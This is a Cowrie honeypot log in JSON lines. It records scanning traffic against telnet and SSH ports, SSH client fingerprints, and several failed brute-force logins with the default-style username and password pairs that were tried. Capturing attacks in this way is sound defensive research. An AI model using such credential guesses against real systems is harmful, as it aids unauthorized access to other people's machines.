{"eventid":"cowrie.session.closed","duration":41.977747678756714,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:13.989726Z","src_ip":"38.60.198.128","session":"a40f5b779c16","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"superman","message":"login attempt [admin/superman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:14.105283Z","src_ip":"198.98.56.227","session":"3fd659c4e4eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:15.113978Z","src_ip":"198.98.56.227","session":"3fd659c4e4eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.82652568817139,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:17.836042Z","src_ip":"38.60.198.128","session":"a225a766883f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.09946322441101,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:20.588977Z","src_ip":"38.60.198.128","session":"30767e771403","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":33320,"dst_ip":"159.203.135.109","dst_port":23,"session":"303337fee92e","protocol":"telnet","message":"New connection: 38.60.198.128:33320 (159.203.135.109:23) [session: 303337fee92e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:23.341113Z"}
{"eventid":"cowrie.session.closed","duration":39.92099571228027,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:28.026601Z","src_ip":"38.60.198.128","session":"73e0d90a6937","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.23247957229614,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:30.686652Z","src_ip":"38.60.198.128","session":"e123253079eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":46810,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9e4fbaed494","protocol":"ssh","message":"New connection: 57.128.222.14:46810 (159.203.135.109:22) [session: c9e4fbaed494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:33.483609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:33.491684Z","src_ip":"57.128.222.14","session":"c9e4fbaed494","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46674,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ef01450ee99","protocol":"telnet","message":"New connection: 38.60.198.128:46674 (159.203.135.109:23) [session: 1ef01450ee99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:33.548053Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:33.596193Z","src_ip":"57.128.222.14","session":"c9e4fbaed494","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P455wORd","message":"login attempt [root/P455wORd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:34.044889Z","src_ip":"57.128.222.14","session":"c9e4fbaed494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:35.155558Z","src_ip":"57.128.222.14","session":"c9e4fbaed494","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52730,"dst_ip":"159.203.135.109","dst_port":23,"session":"e07228382606","protocol":"telnet","message":"New connection: 38.60.198.128:52730 (159.203.135.109:23) [session: e07228382606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:38.824723Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54580,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f2366a3e070","protocol":"telnet","message":"New connection: 38.60.198.128:54580 (159.203.135.109:23) [session: 4f2366a3e070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:38.966038Z"}
{"eventid":"cowrie.session.closed","duration":43.30986714363098,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:41.057720Z","src_ip":"38.60.198.128","session":"128fe9840007","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.129608154296875,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:42.606877Z","src_ip":"38.60.198.128","session":"d900d37d84f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":33452,"dst_ip":"159.203.135.109","dst_port":23,"session":"69697d1aa1cd","protocol":"telnet","message":"New connection: 38.60.198.128:33452 (159.203.135.109:23) [session: 69697d1aa1cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:44.048271Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60830,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f7ed3a5458d","protocol":"telnet","message":"New connection: 38.60.198.128:60830 (159.203.135.109:23) [session: 3f7ed3a5458d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:44.383088Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35974,"dst_ip":"159.203.135.109","dst_port":23,"session":"0eff6a70a9d2","protocol":"telnet","message":"New connection: 38.60.198.128:35974 (159.203.135.109:23) [session: 0eff6a70a9d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:46.838334Z"}
{"eventid":"cowrie.session.closed","duration":41.293172121047974,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:46.870547Z","src_ip":"64.227.82.147","session":"7307c5c52ce8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.30.13","src_port":34192,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ac7b09ea9ed","protocol":"telnet","message":"New connection: 149.56.30.13:34192 (159.203.135.109:23) [session: 3ac7b09ea9ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:54.679690Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46984,"dst_ip":"159.203.135.109","dst_port":23,"session":"804859e55372","protocol":"telnet","message":"New connection: 38.60.198.128:46984 (159.203.135.109:23) [session: 804859e55372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:54.797928Z"}
{"eventid":"cowrie.session.closed","duration":42.82577705383301,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:54.803010Z","src_ip":"38.60.198.128","session":"9603d0382755","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47080,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb2c2adfc17b","protocol":"telnet","message":"New connection: 38.60.198.128:47080 (159.203.135.109:23) [session: cb2c2adfc17b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:32:54.915532Z"}
{"eventid":"cowrie.session.closed","duration":41.9580283164978,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:05.299030Z","src_ip":"38.60.198.128","session":"303337fee92e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34626,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1d766d6964e","protocol":"telnet","message":"New connection: 38.60.198.128:34626 (159.203.135.109:23) [session: b1d766d6964e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:10.256258Z"}
{"eventid":"cowrie.session.closed","duration":36.8965790271759,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:10.444592Z","src_ip":"38.60.198.128","session":"1ef01450ee99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34332,"dst_ip":"159.203.135.109","dst_port":23,"session":"74fdf4dc3d66","protocol":"telnet","message":"New connection: 38.60.198.128:34332 (159.203.135.109:23) [session: 74fdf4dc3d66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:13.893546Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":34312,"dst_ip":"10.17.0.5","dst_port":22,"session":"3abdbac54d14","protocol":"ssh","message":"New connection: 198.98.56.227:34312 (10.17.0.5:22) [session: 3abdbac54d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:17.283637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:17.301029Z","src_ip":"198.98.56.227","session":"3abdbac54d14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:17.574523Z","src_ip":"198.98.56.227","session":"3abdbac54d14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345abc","message":"login attempt [admin/12345abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:18.557363Z","src_ip":"198.98.56.227","session":"3abdbac54d14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.05415320396423,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:18.878782Z","src_ip":"38.60.198.128","session":"e07228382606","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:19.570955Z","src_ip":"198.98.56.227","session":"3abdbac54d14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":45044,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5a46d1d8c10","protocol":"telnet","message":"New connection: 192.211.53.160:45044 (159.203.135.109:23) [session: a5a46d1d8c10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:20.791324Z"}
{"eventid":"cowrie.session.closed","duration":37.57945704460144,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:21.962399Z","src_ip":"38.60.198.128","session":"3f7ed3a5458d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":41010,"dst_ip":"159.203.135.109","dst_port":22,"session":"95903ce7a0c0","protocol":"ssh","message":"New connection: 57.128.222.14:41010 (159.203.135.109:22) [session: 95903ce7a0c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:22.605000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:22.612374Z","src_ip":"57.128.222.14","session":"95903ce7a0c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:22.722166Z","src_ip":"57.128.222.14","session":"95903ce7a0c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zb123456.","message":"login attempt [root/Zb123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:23.192774Z","src_ip":"57.128.222.14","session":"95903ce7a0c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.95682883262634,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:24.004967Z","src_ip":"38.60.198.128","session":"69697d1aa1cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:24.305054Z","src_ip":"57.128.222.14","session":"95903ce7a0c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.847386837005615,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:25.685613Z","src_ip":"38.60.198.128","session":"0eff6a70a9d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":52546,"dst_ip":"10.17.0.5","dst_port":23,"session":"d30974669265","protocol":"telnet","message":"New connection: 45.81.23.16:52546 (10.17.0.5:23) [session: d30974669265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:25.767546Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48062,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f5cf1f13f47","protocol":"telnet","message":"New connection: 38.60.198.128:48062 (159.203.135.109:23) [session: 4f5cf1f13f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:25.798129Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":52554,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f9c1a4e23bb","protocol":"telnet","message":"New connection: 45.81.23.16:52554 (10.17.0.5:23) [session: 4f9c1a4e23bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:25.967250Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":52556,"dst_ip":"10.17.0.5","dst_port":23,"session":"14f14464e68d","protocol":"telnet","message":"New connection: 45.81.23.16:52556 (10.17.0.5:23) [session: 14f14464e68d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:26.375721Z"}
{"eventid":"cowrie.session.closed","duration":31.827913284301758,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:26.507498Z","src_ip":"149.56.30.13","session":"3ac7b09ea9ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52320,"dst_ip":"159.203.135.109","dst_port":23,"session":"38fc51f6f555","protocol":"telnet","message":"New connection: 38.60.198.128:52320 (159.203.135.109:23) [session: 38fc51f6f555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:26.679269Z"}
{"eventid":"cowrie.session.closed","duration":49.00537729263306,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:27.971321Z","src_ip":"38.60.198.128","session":"4f2366a3e070","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.215.8.165","src_port":41442,"dst_ip":"10.17.0.5","dst_port":22,"session":"c04d5ada3314","protocol":"ssh","message":"New connection: 95.215.8.165:41442 (10.17.0.5:22) [session: c04d5ada3314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:28.126376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:28.130471Z","src_ip":"95.215.8.165","session":"c04d5ada3314","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:28.231152Z","src_ip":"95.215.8.165","session":"c04d5ada3314","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"develop","password":"password","message":"login attempt [develop/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:28.623261Z","src_ip":"95.215.8.165","session":"c04d5ada3314","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:29.797035Z","src_ip":"95.215.8.165","session":"c04d5ada3314","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.8035805225372314,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:31.179190Z","src_ip":"45.81.23.16","session":"14f14464e68d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":59920,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb2683f69447","protocol":"telnet","message":"New connection: 38.60.198.128:59920 (159.203.135.109:23) [session: bb2683f69447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:33.762235Z"}
{"eventid":"cowrie.session.closed","duration":39.042009592056274,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:33.957323Z","src_ip":"38.60.198.128","session":"cb2c2adfc17b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.358904838562012,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:34.326042Z","src_ip":"45.81.23.16","session":"4f9c1a4e23bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.592954874038696,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:34.390781Z","src_ip":"38.60.198.128","session":"804859e55372","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.008113622665405,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:34.775565Z","src_ip":"45.81.23.16","session":"d30974669265","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36376,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e086dff8d82","protocol":"telnet","message":"New connection: 38.60.198.128:36376 (159.203.135.109:23) [session: 5e086dff8d82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:33:41.102738Z"}
